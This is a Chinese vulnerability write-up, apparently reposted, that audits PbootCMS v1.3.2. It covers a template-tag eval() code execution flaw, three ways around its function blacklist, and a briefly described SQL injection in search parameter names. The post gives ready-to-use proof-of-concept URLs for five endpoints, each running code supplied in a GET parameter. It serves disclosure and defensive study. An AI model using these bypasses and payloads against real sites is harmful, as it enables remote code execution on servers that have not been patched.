PbootCMS v1.3.2命令执行和SQL注入漏洞

栏目: 编程工具 · 发布时间: 6年前

内容简介:前几天看到个PbootCMS,然后打算审计一波,网上找了这个cms之前的漏洞,看到有表哥审计过这个文章了,这个漏洞目前找到5处,新版本和老版本不同的是新版本加了过滤,但是可以绕过,漏洞函数在ParserController.php里。在2330多行这里,parserIfLabel()方法中调用了eval函数。而且前面有过滤。先忽略过滤内容,一会回来看,看下哪里调用了parserfLabel方法。

PbootCMS v1.3.2命令执行和 <a href='https://www.codercto.com/topics/18630.html'>SQL</a> 注入漏洞

0x00

前几天看到个PbootCMS,然后打算审计一波,网上找了这个cms之前的漏洞,看到有表哥审计过这个文章了, https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=45649&page=1#pid506915 ,可能别的表哥也发现了这个漏洞,这里简单说下我的思路。

0x01 命令执行漏洞

这个漏洞目前找到5处,新版本和老版本不同的是新版本加了过滤,但是可以绕过,漏洞函数在ParserController.php里。在2330多行这里,parserIfLabel()方法中调用了eval函数。而且前面有过滤。先忽略过滤内容,一会回来看,看下哪里调用了parserfLabel方法。

PbootCMS v1.3.2命令执行和SQL注入漏洞

找到了parserIfLabel()方法,而且从下面可以看到在ParserController.php中parserAfter()方法调用了parserIfLabel()方法。

PbootCMS v1.3.2命令执行和SQL注入漏洞

PbootCMS v1.3.2命令执行和SQL注入漏洞

再跟进下parserAfter()方法。根据注释和代码可以分析出这是这个模板在前端渲染的时候,解析标签步骤如下:解析框架标签,解析前置公共标签,解析当前位置标签,解析分类信息标签,解析内容标签,解析公共后置标签。问题出在最后一步“解析公共后置标签”这里,这里存在eval()函数调用。这个函数存在的地方其实可以用一句话表示:

只要存在把用户输入输出到前端的地方,就会有代码执行漏洞。

PbootCMS v1.3.2命令执行和SQL注入漏洞

找到漏洞点,看下过滤。回到parserIfLabel()方法,可以看到“$pattern = ‘/{pboot:if(([^}]+))}([\s\S]*?){\/pboot:if}/’;”这个正则把标签 if 后面的内容取了出来,然后经过过滤并执行。这里主要看下最严重的过滤,在第2316-2331行这里。这里会用正则取出“(”前面的字符串(不包括特殊符号),也就是说@eval(‘phpinfo()’),会取出eval和phpinfo两个字符串,然后调用function_exists()函数,如果这两个方法存在,就不会进入eval()里面。

// 带有函数的条件语句进行安全校验
                if (preg_match_all('/([\w]+)([\s]+)?\(/i', $matches[1][$i], $matches2)) {
                    foreach ($matches2[1] as $value) {
                        if ((function_exists($value) || preg_match('/^eval$/i', $value)) && ! in_array($value, $white_fun)) {
                            $danger = true;
                            break;
                        }
                    }
                }

                // 如果有危险函数,则不解析该IF
                if ($danger) {
                    continue;
                } else {
                    $matches[1][$i] = decode_string($matches[1][$i]); // 解码条件字符串
                }

PbootCMS v1.3.2命令执行和SQL注入漏洞

PbootCMS v1.3.2命令执行和SQL注入漏洞

这个是新版本增加的过滤,这里有很多绕过方法,下面说三个:

1 使用空字节,在 php 中,phpinfo()可以用phpinfo%01()~phpinfo%19()代替,就可以使function_exists()方法返回False。这个绕过只有在留言的地方可以用,经过测试只有那里会进行url解码。
2 转义,phpinfo(),换成phpinf\o()、php\info() 之类的,function_exists()方法也会返回False。
3 混淆,代码为$a=$_GET[b];$a();,传参的时候加上&b=phpinfo。

下面找一下调用parserAfter()方法的地方,Index,About,Content,List,Search

PbootCMS v1.3.2命令执行和SQL注入漏洞

验证下是否可以控制前端输出,以Index试一下,可以看到已经可以控制前端输出,说明存在漏洞

PbootCMS v1.3.2命令执行和SQL注入漏洞

构造payload: [http://127.0.0.1/PbootCMS/index.php/index/index?keyword=](http://127.0.0.1/PbootCMS/index.php/index/index?keyword=){pboot:if(1)$a=$_GET[b];$a();;//)})}}{/pboot:if}&b=phpinfo

PbootCMS v1.3.2命令执行和SQL注入漏洞

其他几处同理

PbootCMS v1.3.2命令执行和SQL注入漏洞

PbootCMS v1.3.2命令执行和SQL注入漏洞

POC:

http://127.0.0.1/PbootCMS/index.php/index/index?keyword={pboot:if(1)$a=$_GET[b];$a();//)})}}{/pboot:if}&b=phpinfo

http://127.0.0.1/PbootCMS/index.php/Content/2?keyword={pboot:if(1)$a=$_GET[b];$a();//)})}}{/pboot:if}&b=phpinfo

http://127.0.0.1/PbootCMS/index.php/List/2?keyword={pboot:if(1)$a=$_GET[b];$a();//)})}}{/pboot:if}&b=phpinfo

http://127.0.0.1/PbootCMS/index.php/About/2?keyword={pboot:if(1)$a=$_GET[b];$a();//)})}}{/pboot:if}&b=phpinfo

http://127.0.0.1/PbootCMS/index.php/Search/index?keyword={pboot:if(1)$a=$_GET[title];$a();//)})}}{/pboot:if}&title=phpinfo

留言那里还有一处,但是需要管理员开启留言展示,利用有限。

0x02 SQL注入漏洞

这个注入在1.3.2已经修复了,简单说下,漏洞存在于ParserController.php中parserSearchLabel()方法。新版本已经修复,参数名不能含有除了“-”,“.”外的特殊字符。

PbootCMS v1.3.2命令执行和SQL注入漏洞

PbootCMS v1.3.2命令执行和SQL注入漏洞

这个注入点在参数名,前面有AND,可以用报错注入。

0x03 漏洞POC

目前FOFA客户端平台已经更新该漏洞检测POC。

PbootCMS v1.3.2命令执行和SQL注入漏洞

本文由白帽汇编写,转载请注明 来自白帽汇Nosec: https://nosec.org/home/detail/2001.html

查看更多安全动态,请访问[ nosec.org ]


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Computer Age Statistical Inference

Computer Age Statistical Inference

Bradley Efron、Trevor Hastie / Cambridge University Press / 2016-7-21 / USD 74.99

The twenty-first century has seen a breathtaking expansion of statistical methodology, both in scope and in influence. 'Big data', 'data science', and 'machine learning' have become familiar terms in ......一起来看看 《Computer Age Statistical Inference》 这本书的介绍吧!

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具